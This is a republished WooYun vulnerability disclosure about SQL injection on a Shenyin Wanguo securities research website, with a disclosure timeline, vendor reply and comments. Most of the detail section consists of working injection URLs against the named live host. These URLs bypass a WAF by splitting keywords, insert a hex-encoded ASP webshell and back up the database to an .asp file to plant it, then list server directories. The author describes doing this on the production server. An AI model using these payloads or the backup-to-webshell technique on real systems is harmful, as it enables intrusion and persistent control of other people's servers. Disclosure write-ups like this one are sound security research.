申银万国证券mssql注射绕waf写shell

admin 2017年4月6日09:20:49评论397 views字数 224阅读0分44秒阅读模式
摘要

2016-03-28: 细节已通知厂商并且等待厂商处理中
2016-03-28: 厂商已经确认,细节仅向厂商公开
2016-04-07: 细节向核心白帽子及相关领域专家公开
2016-04-17: 细节向普通白帽子公开
2016-04-27: 细节向实习白帽子公开
2016-05-12: 细节向公众公开

漏洞概要 关注数(22) 关注此漏洞

缺陷编号: WooYun-2016-189843

漏洞标题: 申银万国证券mssql注射绕waf写shell

相关厂商: 上海申银万国证券研究所有限公司

漏洞作者: Forever80s

提交时间: 2016-03-28 08:39

公开时间: 2016-05-12 10:48

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

3人收藏


漏洞详情

披露状态:

2016-03-28: 细节已通知厂商并且等待厂商处理中
2016-03-28: 厂商已经确认,细节仅向厂商公开
2016-04-07: 细节向核心白帽子及相关领域专家公开
2016-04-17: 细节向普通白帽子公开
2016-04-27: 细节向实习白帽子公开
2016-05-12: 细节向公众公开

简要描述:

看见这个http://wooyun.org/bugs/wooyun-2010-0181221 漏洞评论,就点一下连接,发现虽有waf ,但可以getshell 哦

详细说明:

http://www.swsresearch.com/cn/ViewItem.aspx?table=swwebcontent&id=17637

过滤select insert exec 等等,可以绕过

http://www.swsresearch.com/cn/ViewItem.aspx?table=swwebcontent&id=17637';execute('sele'%2b'ct convert(int,user)') -- '

http://www.swsresearch.com/cn/ViewItem.aspx?table=swwebcontent&id=17637';execute('sele'%2b'ct convert(int,@@version)') -- '

申银万国证券mssql注射绕waf写shell

申银万国证券mssql注射绕waf写shell

备份数据库getshell

http://www.swsresearch.com/cn/ViewItem.aspx?table=swwebcontent&id=17637';execute('ins'%2b'ert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);') -- '

http://www.swsresearch.com/cn/ViewItem.aspx?table=swwebcontent&id=17637';execute('backup database web1 to disk = ''d://m.asp''') -- ' 成功

查看目录

http://www.swsresearch.com/cn/ViewItem.aspx?table=swwebcontent&id=17637';execute('sele'%2b'ct convert(int,(se'%2b'lect top 1 subdirectory fr'%2b'om (se'%2b'lect top 3 subdirectory fr'%2b'om D99_Tmp order by subdirectory )K order by subdirectory desc))') -- '

申银万国证券mssql注射绕waf写shell

漏洞证明:

D:盘目录如下

code 区域
d:
20db3e575f944c5ff9
20db3e575f944c5ff9
360Downloads
360安全浏览器下载
7e66aca3b396522795e2b283bd6d08
backup
backup_hj
DDP_Server.bak
DDP_Server.dat
ddpserverdata 数据库备份
Drivers
e2c0042bde3730651e6664
hejunback
Install
m.asp
NewResearchReport
Program Files
RECYCLER
rtq2004.bak
SW108WEB7
syslog
System Volume Information
系统安全

SW108WEB7 是web根目录

申银万国证券mssql注射绕waf写shell

网站数据库连接池太小,随便发几个包就耗尽了,到此为止吧,不等你们连接池了

申银万国证券mssql注射绕waf写shell

修复方案:

哎,还说没重要数据,我看内网都能撸下来,多少备份数据库。。

版权声明:转载请注明来源 Forever80s@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-03-28 10:48

厂商回复:

相关数据为宣传性内容,不涉及核心业务数据。但为安全起见,会请waf安全厂商加固

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-03-28 10:55 | 艾薇儿 ( 普通白帽子 | Rank:1173 漏洞数:129 )

    1

    @上海申银万国证券研究所有限公司 ::我们已经邀请南京铱讯公司部署了waf设备,据说可以防住大部分应用攻击。我们恳请wooyun网站各位大神再次扫描,检测设备的防护性能。如能检测出waf漏洞,我们愿意提供一定的赞助。谢谢! piapiapia

  2. 2016-03-28 16:34 | 暴走 ( 普通白帽子 | Rank:615 漏洞数:107 | 专心补刀。)

    1

    @艾薇儿 你别这么让厂商难堪了,厂商这次没给忽略就是鼓起了很大的勇气,然后又纠结了N长时间了给了这个高的5RANK更是心有不甘!

  3. 2016-03-31 16:07 | 黑骑士 ( 普通白帽子 | Rank:121 漏洞数:22 | 黑色的骑士守护着光明)

    1

    这个厂商是多相信waf,每次回复都说。。。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin